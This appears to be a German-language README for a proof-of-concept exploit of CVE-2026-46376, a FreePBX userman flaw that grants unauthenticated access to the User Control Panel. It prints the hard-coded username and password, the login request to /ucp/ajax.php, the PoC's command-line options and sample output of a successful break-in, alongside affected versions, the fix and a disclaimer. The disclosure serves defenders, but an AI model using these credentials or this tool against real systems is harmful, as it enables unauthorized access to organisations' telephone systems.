
CVE-2026-46376 - FreePBX Unauthenticated UCP Access via Hard-Coded Credentials
Eine kritische Schwachstelle im Benutzerverwaltungsmodul (userman) von FreePBX ermöglicht es nicht authentifizierten Angreifern, auf das User Control Panel (UCP) zuzugreifen, indem sie hartcodierte Anmeldedaten verwenden, die während des Einrichtungsprozesses der generischen UCP-Vorlage eingebettet werden.
CVSS v4.0: 9.1 (Kritisch) | CWE-798: Verwendung hartcodierter Anmeldedaten
Offengelegt: 15. Mai 2026 | Melder: s0nnyWT
Wenn ein Administrator die optionale Funktion zur Einrichtung der generischen UCP-Vorlage (eingeführt im Jahr 2021) verwendet, wird ein Systembenutzer FreePBXUCPTemplateCreator mit einem hartcodierten, statischen Passwort erstellt. Wenn der Administrator dieses Passwort nach der Einrichtung nie ändert, kann sich jeder nicht authentifizierte Benutzer im Netzwerk mit diesen Anmeldedaten im UCP anmelden.
| Feld | Wert |
|---|---|
| Username | FreePBXUCPTemplateCreator |
| Password | 1a2b3c@fd48jshs03123ld |
| Source | Userman.class.php — password passed through md5() |
| Angriffsvektor | Netzwerk |
| Komplexität | Niedrig |
| Authentifizierung erforderlich | Keine |
| Benutzerinteraktion | Keine |
| Voraussetzung | Admin muss die Einrichtung der generischen UCP-Vorlage ausgeführt haben |
Hinweis: Der Benutzer
FreePBXUCPTemplateCreatorwird nur erstellt, wenn ein Administrator explizit die Funktion zur Einrichtung der generischen UCP-Vorlage ausführt. Systeme, bei denen diese Einrichtung nie durchgeführt wurde, sind über diese CVE nicht ausnutzbar, selbst wenn eine betroffene Version läuft.
Der Fix randomisiert das Passwort mittels bin2hex(random_bytes(24)) während der Installation/Aktualisierung, und bestehende Vorlagenersteller erhalten bei der Aktualisierung ihr Passwort neu generiert.
pip3 install requests
python3 poc.py <target_url>
positional arguments:
target Target URL (e.g. http://192.168.1.100)
optional arguments:
-h, --help show this help message and exit
--no-check Skip version pre-flight check
--timeout TIMEOUT Request timeout in seconds (default: 15)
--method {creds,unlock,admin,all}
Which exploit method to run (default: all)
-y, --yes Auto-continue even if version is out of range
POST /ucp/ajax.php mit module=User&command=login unter Verwendung der hartcodierten Anmeldedaten?unlockkey=&templateid=$ python3 poc.py http://192.168.1.100
============================================
CVE-2026-46376 PoC - FreePBX UCP Access
Target: http://192.168.1.100
============================================
[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible
============================================
Exploitation
============================================
============================================
Method 1: Hard-Coded UCP Credentials
============================================
Username: FreePBXUCPTemplateCreator
Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator
============================================
Summary
============================================
Target is VULNERABLE
Um zu prüfen, ob ein System ausnutzbar ist, sendet der PoC eine Anmeldeanfrage an POST /ucp/ajax.php mit module=User&command=login und den Anmeldedaten. Eine {"status":true}-Antwort zeigt an, dass der Vorlagenersteller-Benutzer existiert und das Passwort noch der Standardwert ist.
Eine {"status":false,"message":"Invalid Login Credentials"}-Antwort bedeutet entweder:
userman-Modul auf 16.0.45 (FreePBX 16) oder 17.0.7 (FreePBX 17)Dieser PoC wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Die unbefugte Nutzung dieses Exploits gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben, ist illegal. Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
| Plattform | userman-Modul | Betroffen | Gefixt |
|---|
| FreePBX 15 | — | 15.0.42+ | N/A |
| FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 |
| FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 |